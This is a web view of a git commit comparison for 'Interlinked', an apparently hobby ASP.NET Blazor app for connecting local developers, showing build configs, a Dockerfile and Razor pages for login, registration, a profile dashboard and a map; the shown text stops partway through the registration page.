Compare commits
22 commits
coordinate
...
nya
Author | SHA1 | Date | |
---|---|---|---|
a5cf572c05 | |||
271b144501 | |||
291d143328 | |||
b1cba644b8 | |||
f268af529b | |||
cc7fb93439 | |||
fb712bbcab | |||
ac4c7c0656 | |||
51e29884cd | |||
5cfc595cd6 | |||
a045021f8d | |||
3ed88b025c | |||
1540e1ba13 | |||
6292bb23a8 | |||
5e4bfaa95e | |||
a0d5df1c52 | |||
43b20f03dd | |||
13e01e21ae | |||
13f85601f0 | |||
e78c614763 | |||
eb8b32d5f2 | |||
6019620849 |
68 changed files with 2475 additions and 417 deletions
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -1,2 +1,5 @@
|
||||||
**/obj
|
**/obj
|
||||||
**/bin
|
**/bin
|
||||||
|
**.db
|
||||||
|
**.db-wal
|
||||||
|
**.db-shm
|
||||||
|
|
39
.vscode/launch.json
vendored
Normal file
39
.vscode/launch.json
vendored
Normal file
|
@ -0,0 +1,39 @@
|
||||||
|
{
|
||||||
|
// Use IntelliSense to learn about possible attributes.
|
||||||
|
// Hover to view descriptions of existing attributes.
|
||||||
|
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
|
||||||
|
"version": "0.2.0",
|
||||||
|
"configurations": [
|
||||||
|
{
|
||||||
|
"name": "Core Server",
|
||||||
|
"type": "coreclr",
|
||||||
|
"request": "launch",
|
||||||
|
"preLaunchTask": "build",
|
||||||
|
"program": "${workspaceFolder}/src/Interlinked.User/bin/Debug/net7.0/Interlinked.User.dll",
|
||||||
|
"args": [],
|
||||||
|
"cwd": "${workspaceFolder}/src/Interlinked.User",
|
||||||
|
"stopAtEntry": false,
|
||||||
|
"serverReadyAction": {
|
||||||
|
"action": "openExternally",
|
||||||
|
"pattern": "\\bNow listening on:\\s+(https?://\\S+)"
|
||||||
|
},
|
||||||
|
"env": {
|
||||||
|
"ASPNETCORE_ENVIRONMENT": "Development"
|
||||||
|
},
|
||||||
|
"sourceFileMap": {
|
||||||
|
"/Views": "${workspaceFolder}/Views"
|
||||||
|
},
|
||||||
|
"pipeTransport": {
|
||||||
|
"pipeCwd": "${workspaceFolder}",
|
||||||
|
"pipeProgram": "/usr/bin/bash",
|
||||||
|
"pipeArgs": ["-c"],
|
||||||
|
"debuggerPath": "/usr/bin/netcoredbg"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": ".NET Core Attach",
|
||||||
|
"type": "coreclr",
|
||||||
|
"request": "attach"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
3
.vscode/settings.json
vendored
Normal file
3
.vscode/settings.json
vendored
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
{
|
||||||
|
"dotnet.defaultSolution": "Interlinked.sln"
|
||||||
|
}
|
41
.vscode/tasks.json
vendored
Normal file
41
.vscode/tasks.json
vendored
Normal file
|
@ -0,0 +1,41 @@
|
||||||
|
{
|
||||||
|
"version": "2.0.0",
|
||||||
|
"tasks": [
|
||||||
|
{
|
||||||
|
"label": "build",
|
||||||
|
"command": "dotnet",
|
||||||
|
"type": "process",
|
||||||
|
"args": [
|
||||||
|
"build",
|
||||||
|
"${workspaceFolder}/Interlinked.sln",
|
||||||
|
"/property:GenerateFullPaths=true",
|
||||||
|
"/consoleloggerparameters:NoSummary"
|
||||||
|
],
|
||||||
|
"problemMatcher": "$msCompile"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "publish",
|
||||||
|
"command": "dotnet",
|
||||||
|
"type": "process",
|
||||||
|
"args": [
|
||||||
|
"publish",
|
||||||
|
"${workspaceFolder}/Interlinked.sln",
|
||||||
|
"/property:GenerateFullPaths=true",
|
||||||
|
"/consoleloggerparameters:NoSummary"
|
||||||
|
],
|
||||||
|
"problemMatcher": "$msCompile"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"label": "watch",
|
||||||
|
"command": "dotnet",
|
||||||
|
"type": "process",
|
||||||
|
"args": [
|
||||||
|
"watch",
|
||||||
|
"run",
|
||||||
|
"--project",
|
||||||
|
"${workspaceFolder}/Interlinked.sln"
|
||||||
|
],
|
||||||
|
"problemMatcher": "$msCompile"
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
35
Dockerfile
Normal file
35
Dockerfile
Normal file
|
@ -0,0 +1,35 @@
|
||||||
|
FROM mcr.microsoft.com/dotnet/sdk:7.0-alpine AS build
|
||||||
|
|
||||||
|
WORKDIR /source
|
||||||
|
|
||||||
|
COPY Interlinked.sln ./
|
||||||
|
|
||||||
|
COPY src/Interlinked.Core/*.csproj src/Interlinked.Core/
|
||||||
|
COPY src/Interlinked.Shared/*.csproj src/Interlinked.Shared/
|
||||||
|
COPY src/Interlinked.User/*.csproj src/Interlinked.User/
|
||||||
|
copy test/Interlinked.Test/*.csproj test/Interlinked.Test/
|
||||||
|
|
||||||
|
RUN dotnet restore
|
||||||
|
|
||||||
|
COPY . .
|
||||||
|
|
||||||
|
RUN dotnet publish ./src/Interlinked.User -c Release -o /build/interlinked
|
||||||
|
|
||||||
|
FROM mcr.microsoft.com/dotnet/aspnet:7.0-alpine AS runtime
|
||||||
|
|
||||||
|
|
||||||
|
COPY --from=build /build/interlinked /srv/interlinked
|
||||||
|
|
||||||
|
VOLUME [ "/data", "/srv/log" ]
|
||||||
|
|
||||||
|
WORKDIR /srv/interlinked
|
||||||
|
|
||||||
|
ENV ASPNETCORE_ENVIRONMENT=Production
|
||||||
|
|
||||||
|
# Net
|
||||||
|
|
||||||
|
EXPOSE 80/tcp
|
||||||
|
|
||||||
|
STOPSIGNAL SIGTERM
|
||||||
|
|
||||||
|
ENTRYPOINT [ "dotnet", "/srv/interlinked/Interlinked.User.dll" ]
|
|
@ -7,8 +7,6 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "src", "src", "{59D8D1A8-D9F
|
||||||
EndProject
|
EndProject
|
||||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.Core", "src\Interlinked.Core\Interlinked.Core.csproj", "{21F768D4-54BA-4B55-8A03-399F697394FD}"
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.Core", "src\Interlinked.Core\Interlinked.Core.csproj", "{21F768D4-54BA-4B55-8A03-399F697394FD}"
|
||||||
EndProject
|
EndProject
|
||||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.Locator", "src\Interlinked.Locator\Interlinked.Locator.csproj", "{069E0BCC-F019-4EDB-83F2-698EE5C33825}"
|
|
||||||
EndProject
|
|
||||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.Shared", "src\Interlinked.Shared\Interlinked.Shared.csproj", "{0EF4026C-3675-4BBB-B352-26FBB7C96FA3}"
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.Shared", "src\Interlinked.Shared\Interlinked.Shared.csproj", "{0EF4026C-3675-4BBB-B352-26FBB7C96FA3}"
|
||||||
EndProject
|
EndProject
|
||||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.User", "src\Interlinked.User\Interlinked.User.csproj", "{5B94DC1F-170E-458C-BC5B-513C5ADB3F0A}"
|
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Interlinked.User", "src\Interlinked.User\Interlinked.User.csproj", "{5B94DC1F-170E-458C-BC5B-513C5ADB3F0A}"
|
||||||
|
@ -49,7 +47,6 @@ Global
|
||||||
EndGlobalSection
|
EndGlobalSection
|
||||||
GlobalSection(NestedProjects) = preSolution
|
GlobalSection(NestedProjects) = preSolution
|
||||||
{21F768D4-54BA-4B55-8A03-399F697394FD} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
{21F768D4-54BA-4B55-8A03-399F697394FD} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
||||||
{069E0BCC-F019-4EDB-83F2-698EE5C33825} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
|
||||||
{0EF4026C-3675-4BBB-B352-26FBB7C96FA3} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
{0EF4026C-3675-4BBB-B352-26FBB7C96FA3} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
||||||
{5B94DC1F-170E-458C-BC5B-513C5ADB3F0A} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
{5B94DC1F-170E-458C-BC5B-513C5ADB3F0A} = {59D8D1A8-D9F0-464D-8654-D513FDC1A17F}
|
||||||
{A8E7D5AA-DB9D-44CC-B2A0-767C9D568B96} = {3A0C257D-5E1E-4FCE-A55D-8990F6F2F6B0}
|
{A8E7D5AA-DB9D-44CC-B2A0-767C9D568B96} = {3A0C257D-5E1E-4FCE-A55D-8990F6F2F6B0}
|
||||||
|
|
|
@ -11,8 +11,3 @@ meow
|
||||||
### Health & Wellbeing
|
### Health & Wellbeing
|
||||||
|
|
||||||
This solution addresses the issue of social isolation that many developers face, by encouraging socialization with other developers and in-person collaboration. Contact with others is an elemental human need and social isolation may be detrimental to mental health. Encouraging socially active form of software development contributes to a healthy lifestyle.
|
This solution addresses the issue of social isolation that many developers face, by encouraging socialization with other developers and in-person collaboration. Contact with others is an elemental human need and social isolation may be detrimental to mental health. Encouraging socially active form of software development contributes to a healthy lifestyle.
|
||||||
|
|
||||||
## Open Fintech
|
|
||||||
|
|
||||||
Interlinked fosters local development and enables developers to discover and collaborate on local projects. It also enables financial sponsorship of the projects, thus being capable of investing both work and fund for the project. This combined, may increase the success rate of projects, which become community investments.
|
|
||||||
|
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
<Router AppAssembly="@typeof(App).Assembly">
|
<Router AppAssembly="@typeof(App).Assembly">
|
||||||
<Found Context="routeData">
|
<Found Context="routeData">
|
||||||
|
<AuthenticateUser />
|
||||||
<RouteView RouteData="@routeData" DefaultLayout="@typeof(MainLayout)" />
|
<RouteView RouteData="@routeData" DefaultLayout="@typeof(MainLayout)" />
|
||||||
<FocusOnNavigate RouteData="@routeData" Selector="h1" />
|
<FocusOnNavigate RouteData="@routeData" Selector="h1" />
|
||||||
</Found>
|
</Found>
|
||||||
|
|
|
@ -9,6 +9,13 @@
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly" Version="7.0.11" />
|
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly" Version="7.0.11" />
|
||||||
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly.DevServer" Version="7.0.11" PrivateAssets="all" />
|
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly.DevServer" Version="7.0.11" PrivateAssets="all" />
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.ResponseCompression" Version="2.2.0" />
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.SignalR.Client" Version="7.0.11" />
|
||||||
|
<PackageReference Include="Syncfusion.Blazor.Maps" Version="23.1.38" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ProjectReference Include="..\Interlinked.Shared\Interlinked.Shared.csproj" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
|
||||||
</Project>
|
</Project>
|
||||||
|
|
|
@ -2,9 +2,9 @@
|
||||||
|
|
||||||
<PageTitle>About</PageTitle>
|
<PageTitle>About</PageTitle>
|
||||||
|
|
||||||
<h1>Abut this app</h1>
|
<h1>About this app</h1>
|
||||||
|
|
||||||
We made this app to provide a reliable platform for social working environments.
|
We made this app to provide a reliable platform for social working environments.
|
||||||
To create a renowned network where great minds can communicate their great ideas.
|
To create a renowned network where great minds can communicate their great ideas.
|
||||||
Innovation, teamwork, diversity, sommunity engagement, social connection are
|
Innovation, teamwork, diversity, sommunity engagement, social connection are
|
||||||
all words that describe perfectly our desire to create that app.
|
all words that describe perfectly our desire to create that app.
|
||||||
|
|
125
src/Interlinked.Core/Pages/Dashboard.razor
Normal file
125
src/Interlinked.Core/Pages/Dashboard.razor
Normal file
|
@ -0,0 +1,125 @@
|
||||||
|
@page "/dashboard"
|
||||||
|
@using System.ComponentModel.DataAnnotations;
|
||||||
|
@using System.Net
|
||||||
|
@inject HttpClient req
|
||||||
|
@inject UserManager usr
|
||||||
|
|
||||||
|
<PageTitle>Dashboard</PageTitle>
|
||||||
|
|
||||||
|
<h1>Your profile</h1>
|
||||||
|
|
||||||
|
@if (!string.IsNullOrWhiteSpace(_err))
|
||||||
|
{
|
||||||
|
<p class="text-danger">@_err</p>
|
||||||
|
}
|
||||||
|
|
||||||
|
<div class="profile">
|
||||||
|
<h2>Profile settings</h2>
|
||||||
|
<EditForm class="form" Model="@_pdr" OnValidSubmit="@UpdateProfile">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="cc">Country</label>
|
||||||
|
<InputText @bind-Value="_pdr.CC" id="cc" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="city">City</label>
|
||||||
|
<InputText @bind-Value="_pdr.City" id="city" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="bio">Bio</label>
|
||||||
|
<InputText @bind-Value="_pdr.Bio" id="bio" />
|
||||||
|
</div>
|
||||||
|
<button type="submit">Update profile</button>
|
||||||
|
</EditForm>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="security">
|
||||||
|
<h2>Security settings</h2>
|
||||||
|
|
||||||
|
<EditForm class="form" Model="@_pwc" OnValidSubmit="@ChangePassword">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="oldpw">Old password</label>
|
||||||
|
<InputText @bind-Value="_pwc.PasswordOld" id="oldpw" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="npw">New password</label>
|
||||||
|
<InputText @bind-Value="_pwc.PasswordNew" id="npw" />
|
||||||
|
</div>
|
||||||
|
<button type="submit">Change password</button>
|
||||||
|
</EditForm>
|
||||||
|
|
||||||
|
<EditForm class="form" Model="@_emc" OnValidSubmit="@ChangeEmail">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="oldpw">Email</label>
|
||||||
|
<InputText @bind-Value="_emc.Email" id="eml" />
|
||||||
|
</div>
|
||||||
|
<button type="submit">Change email</button>
|
||||||
|
</EditForm>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
@code {
|
||||||
|
private string _err = "";
|
||||||
|
private PasswordChangeRequest _pwc = new();
|
||||||
|
private EmailChangeRequest _emc = new();
|
||||||
|
private ProfileRequest _pdr = new();
|
||||||
|
|
||||||
|
public record PasswordChangeRequest
|
||||||
|
{
|
||||||
|
[Required]
|
||||||
|
public string PasswordOld { get; set; } = default!;
|
||||||
|
[Required]
|
||||||
|
public string PasswordNew { get; set; } = default!;
|
||||||
|
};
|
||||||
|
|
||||||
|
public record EmailChangeRequest
|
||||||
|
{
|
||||||
|
[Required]
|
||||||
|
[EmailAddress]
|
||||||
|
public string Email { get; set; } = default!;
|
||||||
|
}
|
||||||
|
|
||||||
|
public record ProfileRequest
|
||||||
|
{
|
||||||
|
public string? Bio { get; set; }
|
||||||
|
public string? CC { get; set; }
|
||||||
|
public string? City { get; set; }
|
||||||
|
public ICollection<string> Interests { get; set; } = new List<string>();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected async override Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
private async Task ChangePassword()
|
||||||
|
{
|
||||||
|
var resp = await req.PostAsJsonAsync("/api/auth/changepass", _pwc);
|
||||||
|
if (!resp.IsSuccessStatusCode)
|
||||||
|
{
|
||||||
|
_err = await resp.Content.ReadAsStringAsync();
|
||||||
|
}
|
||||||
|
this._pwc = new();
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
|
||||||
|
private async Task ChangeEmail()
|
||||||
|
{
|
||||||
|
var resp = await req.PostAsJsonAsync("/api/auth/changemail", _emc);
|
||||||
|
if (!resp.IsSuccessStatusCode)
|
||||||
|
{
|
||||||
|
_err = await resp.Content.ReadAsStringAsync();
|
||||||
|
}
|
||||||
|
this._emc = new();
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
|
||||||
|
private async Task UpdateProfile()
|
||||||
|
{
|
||||||
|
var resp = await req.PostAsJsonAsync("/api/auth/profile/update", _pdr);
|
||||||
|
if (!resp.IsSuccessStatusCode)
|
||||||
|
{
|
||||||
|
_err = await resp.Content.ReadAsStringAsync();
|
||||||
|
}
|
||||||
|
this._pdr = new();
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,57 +0,0 @@
|
||||||
@page "/fetchdata"
|
|
||||||
@inject HttpClient Http
|
|
||||||
|
|
||||||
<PageTitle>Weather forecast</PageTitle>
|
|
||||||
|
|
||||||
<h1>Weather forecast</h1>
|
|
||||||
|
|
||||||
<p>This component demonstrates fetching data from the server.</p>
|
|
||||||
|
|
||||||
@if (forecasts == null)
|
|
||||||
{
|
|
||||||
<p><em>Loading...</em></p>
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
<table class="table">
|
|
||||||
<thead>
|
|
||||||
<tr>
|
|
||||||
<th>Date</th>
|
|
||||||
<th>Temp. (C)</th>
|
|
||||||
<th>Temp. (F)</th>
|
|
||||||
<th>Summary</th>
|
|
||||||
</tr>
|
|
||||||
</thead>
|
|
||||||
<tbody>
|
|
||||||
@foreach (var forecast in forecasts)
|
|
||||||
{
|
|
||||||
<tr>
|
|
||||||
<td>@forecast.Date.ToShortDateString()</td>
|
|
||||||
<td>@forecast.TemperatureC</td>
|
|
||||||
<td>@forecast.TemperatureF</td>
|
|
||||||
<td>@forecast.Summary</td>
|
|
||||||
</tr>
|
|
||||||
}
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
}
|
|
||||||
|
|
||||||
@code {
|
|
||||||
private WeatherForecast[]? forecasts;
|
|
||||||
|
|
||||||
protected override async Task OnInitializedAsync()
|
|
||||||
{
|
|
||||||
forecasts = await Http.GetFromJsonAsync<WeatherForecast[]>("sample-data/weather.json");
|
|
||||||
}
|
|
||||||
|
|
||||||
public class WeatherForecast
|
|
||||||
{
|
|
||||||
public DateOnly Date { get; set; }
|
|
||||||
|
|
||||||
public int TemperatureC { get; set; }
|
|
||||||
|
|
||||||
public string? Summary { get; set; }
|
|
||||||
|
|
||||||
public int TemperatureF => 32 + (int)(TemperatureC / 0.5556);
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,9 +1,24 @@
|
||||||
@page "/"
|
@page "/"
|
||||||
|
|
||||||
<PageTitle>Index</PageTitle>
|
@using Syncfusion.Blazor.Maps
|
||||||
|
|
||||||
<h1>Hello, world!</h1>
|
<SfMaps>
|
||||||
|
<MapsZoomSettings ZoomFactor="4"></MapsZoomSettings>
|
||||||
|
<MapsCenterPosition Latitude="29.394708" Longitude="-94.954653"></MapsCenterPosition>
|
||||||
|
<MapsLayers>
|
||||||
|
<MapsLayer UrlTemplate="https://tile.openstreetmap.org/level/tileX/tileY.png" TValue="string">
|
||||||
|
@* Add marker *@
|
||||||
|
<MapsMarkerSettings>
|
||||||
|
<MapsMarker Visible="true" Height="25" Width="15" DataSource="Cities" TValue="City">
|
||||||
|
</MapsMarker>
|
||||||
|
</MapsMarkerSettings>
|
||||||
|
</MapsLayer>
|
||||||
|
</MapsLayers>
|
||||||
|
</SfMaps>
|
||||||
|
|
||||||
Welcome to your new app.
|
@code {
|
||||||
|
private List<City> Cities = new List<City> {
|
||||||
<SurveyPrompt Title="How is Blazor working for you?" />
|
new City { Latitude = 34.060620, Longitude = -118.330491, Name="California" },
|
||||||
|
new City{ Latitude = 40.724546, Longitude = -73.850344, Name="New York"}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
85
src/Interlinked.Core/Pages/Login.razor
Normal file
85
src/Interlinked.Core/Pages/Login.razor
Normal file
|
@ -0,0 +1,85 @@
|
||||||
|
@page "/login"
|
||||||
|
@using System.ComponentModel.DataAnnotations;
|
||||||
|
@using System.Net
|
||||||
|
@inject HttpClient req
|
||||||
|
@inject UserManager usr
|
||||||
|
@inject NavigationManager nav
|
||||||
|
|
||||||
|
<PageTitle>Login</PageTitle>
|
||||||
|
|
||||||
|
<h1>Log in</h1>
|
||||||
|
|
||||||
|
<EditForm class="form" Model="@Model" OnValidSubmit="@Submit">
|
||||||
|
<DataAnnotationsValidator />
|
||||||
|
<ValidationSummary />
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="email">E-mail</label>
|
||||||
|
<InputText @bind-Value="Model!.Email" id="email" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="pwd">Password</label>
|
||||||
|
<InputText type="password" @bind-Value="Model!.Password" id="pwd" />
|
||||||
|
</div>
|
||||||
|
<button type="submit">Log in</button>
|
||||||
|
</EditForm>
|
||||||
|
|
||||||
|
@if (!string.IsNullOrWhiteSpace(ValidationMsg))
|
||||||
|
{
|
||||||
|
<p class="text-danger">@ValidationMsg</p>
|
||||||
|
}
|
||||||
|
|
||||||
|
@code {
|
||||||
|
public record LoginModel
|
||||||
|
{
|
||||||
|
[Required]
|
||||||
|
[EmailAddress]
|
||||||
|
public string Email { get; set; } = default!;
|
||||||
|
[Required]
|
||||||
|
public string Password { get; set; } = default!;
|
||||||
|
};
|
||||||
|
public LoginModel Model { get; set; } = new();
|
||||||
|
public string ValidationMsg = string.Empty;
|
||||||
|
|
||||||
|
protected async override Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
if (await usr.GetUser() != null)
|
||||||
|
{
|
||||||
|
nav.NavigateTo("/");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Model ??= new();
|
||||||
|
}
|
||||||
|
|
||||||
|
private async Task Submit()
|
||||||
|
{
|
||||||
|
var resp = await req.PostAsJsonAsync("/api/auth/login", Model);
|
||||||
|
if (resp.StatusCode == HttpStatusCode.OK)
|
||||||
|
{
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "Successful login <3";
|
||||||
|
var user = await resp.Content.ReadFromJsonAsync<UserModel>();
|
||||||
|
if (user == null)
|
||||||
|
{
|
||||||
|
ValidationMsg = "Unknown authentication error";
|
||||||
|
this.StateHasChanged();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
usr.SetUser(user);
|
||||||
|
this.StateHasChanged();
|
||||||
|
nav.NavigateTo("/", true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (resp.StatusCode == HttpStatusCode.Unauthorized)
|
||||||
|
{
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "Invalid username or password.";
|
||||||
|
this.StateHasChanged();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "Authorization error...";
|
||||||
|
this.StateHasChanged();
|
||||||
|
}
|
||||||
|
}
|
18
src/Interlinked.Core/Pages/Logout.razor
Normal file
18
src/Interlinked.Core/Pages/Logout.razor
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
@page "/logout"
|
||||||
|
@inject HttpClient req
|
||||||
|
@inject UserManager usr
|
||||||
|
@inject NavigationManager nav
|
||||||
|
@using System.Net
|
||||||
|
|
||||||
|
@code {
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
var resp = await req.GetAsync("/api/auth/logout");
|
||||||
|
if (resp.StatusCode == HttpStatusCode.NoContent)
|
||||||
|
{
|
||||||
|
usr.SetUser(null!);
|
||||||
|
}
|
||||||
|
this.StateHasChanged();
|
||||||
|
nav.NavigateTo("/login", true);
|
||||||
|
}
|
||||||
|
}
|
34
src/Interlinked.Core/Pages/PeopleTable.razor
Normal file
34
src/Interlinked.Core/Pages/PeopleTable.razor
Normal file
|
@ -0,0 +1,34 @@
|
||||||
|
@page "/peopletable"
|
||||||
|
|
||||||
|
<h2>Employee Information</h2>
|
||||||
|
|
||||||
|
<table border="1">
|
||||||
|
<tr>
|
||||||
|
<th>Name</th>
|
||||||
|
<th>Surname</th>
|
||||||
|
<th>City</th>
|
||||||
|
<th>Country</th>
|
||||||
|
<th>Proficiencies</th>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>John</td>
|
||||||
|
<td>Doe</td>
|
||||||
|
<td>New York</td>
|
||||||
|
<td>USA</td>
|
||||||
|
<td>Web Development</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>Jane</td>
|
||||||
|
<td>Smith</td>
|
||||||
|
<td>Los Angeles</td>
|
||||||
|
<td>USA</td>
|
||||||
|
<td>Graphic Design</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>Maria</td>
|
||||||
|
<td>Garcia</td>
|
||||||
|
<td>Madrid</td>
|
||||||
|
<td>Spain</td>
|
||||||
|
<td>Data Analysis</td>
|
||||||
|
</tr>
|
||||||
|
</table>
|
32
src/Interlinked.Core/Pages/Project.razor
Normal file
32
src/Interlinked.Core/Pages/Project.razor
Normal file
|
@ -0,0 +1,32 @@
|
||||||
|
@page "/project"
|
||||||
|
|
||||||
|
@code {
|
||||||
|
private string UserName = "John Doe";
|
||||||
|
private string project = "Building a computer from a scrap";
|
||||||
|
private string description = "In this project we're going to build computer from a scrap.";
|
||||||
|
private List<string> tags = new List<string> { "hardware", "embedded" }; @*choosen from the list*@
|
||||||
|
private List<string> persons = new List<string> { "Jan Kowalski", "Kamil Ĺšlimak" }; @*got from database*@
|
||||||
|
}
|
||||||
|
|
||||||
|
<div class="project">
|
||||||
|
<img class="project-img" src="images/project.jpg" alt="Project" />
|
||||||
|
<h1>@project</h1>
|
||||||
|
<h2>Tags</h2>
|
||||||
|
<ul>
|
||||||
|
@foreach (var tag in tags)
|
||||||
|
{
|
||||||
|
<li>@tag</li>
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
|
<h2>Description</h2>
|
||||||
|
<p>@description</p>
|
||||||
|
<h3>Owner</h3>
|
||||||
|
<p>@UserName</p>
|
||||||
|
<h4>Other persons working on project</h4>
|
||||||
|
<ul>
|
||||||
|
@foreach (var person in persons)
|
||||||
|
{
|
||||||
|
<li>@person</li>
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
|
</div>
|
96
src/Interlinked.Core/Pages/Register.razor
Normal file
96
src/Interlinked.Core/Pages/Register.razor
Normal file
|
@ -0,0 +1,96 @@
|
||||||
|
@page "/register"
|
||||||
|
@using System.ComponentModel.DataAnnotations;
|
||||||
|
@using System.Net
|
||||||
|
@inject HttpClient req
|
||||||
|
@inject UserManager usr
|
||||||
|
@inject NavigationManager nav
|
||||||
|
|
||||||
|
<PageTitle>Register</PageTitle>
|
||||||
|
|
||||||
|
<h1>Register</h1>
|
||||||
|
|
||||||
|
<EditForm class="form" Model="@Model" OnValidSubmit="@Submit">
|
||||||
|
<DataAnnotationsValidator />
|
||||||
|
<ValidationSummary />
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="username">Username</label>
|
||||||
|
<InputText @bind-Value="Model!.Username" id="username" />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="name">Full name</label>
|
||||||
|
<InputText @bind-Value="Model!.Name" id="name" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="email">E-mail</label>
|
||||||
|
<InputText @bind-Value="Model!.Email" id="email" />
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="pwd">Password</label>
|
||||||
|
<InputText type="password" @bind-Value="Model!.Password" id="pwd" />
|
||||||
|
</div>
|
||||||
|
<button type="submit">Log in</button>
|
||||||
|
</EditForm>
|
||||||
|
|
||||||
|
@if (!string.IsNullOrWhiteSpace(ValidationMsg))
|
||||||
|
{
|
||||||
|
<p class="text-danger">@ValidationMsg</p>
|
||||||
|
}
|
||||||
|
|
||||||
|
@code {
|
||||||
|
public record LoginModel
|
||||||
|
{
|
||||||
|
[Required]
|
||||||
|
public string Username { get; set; } = default!;
|
||||||
|
public string? Name { get; set; }
|
||||||
|
[Required]
|
||||||
|
[EmailAddress]
|
||||||
|
public string Email { get; set; } = default!;
|
||||||
|
[Required]
|
||||||
|
public string Password { get; set; } = default!;
|
||||||
|
};
|
||||||
|
public LoginModel Model { get; set; } = new();
|
||||||
|
public string ValidationMsg = string.Empty;
|
||||||
|
|
||||||
|
protected override async Task OnInitializedAsync()
|
||||||
|
{
|
||||||
|
if (await usr.GetUser() != null)
|
||||||
|
{
|
||||||
|
nav.NavigateTo("/", true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Model ??= new();
|
||||||
|
}
|
||||||
|
|
||||||
|
private async Task Submit()
|
||||||
|
{
|
||||||
|
var resp = await req.PostAsJsonAsync("/api/auth/register", Model);
|
||||||
|
if (resp.StatusCode == HttpStatusCode.OK)
|
||||||
|
{
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "Successful register <3"; var user = await resp.Content.ReadFromJsonAsync<UserModel>();
|
||||||
|
if (user == null)
|
||||||
|
{
|
||||||
|
ValidationMsg = "Unknown authentication error";
|
||||||
|
this.StateHasChanged();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
usr.SetUser(user);
|
||||||
|
this.StateHasChanged();
|
||||||
|
nav.NavigateTo("/", true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (resp.StatusCode == HttpStatusCode.Conflict)
|
||||||
|
{
|
||||||
|
Model = new();
|
||||||
|
ValidationMsg = "User already registered.";
|
||||||
|
this.StateHasChanged();
|
||||||
|
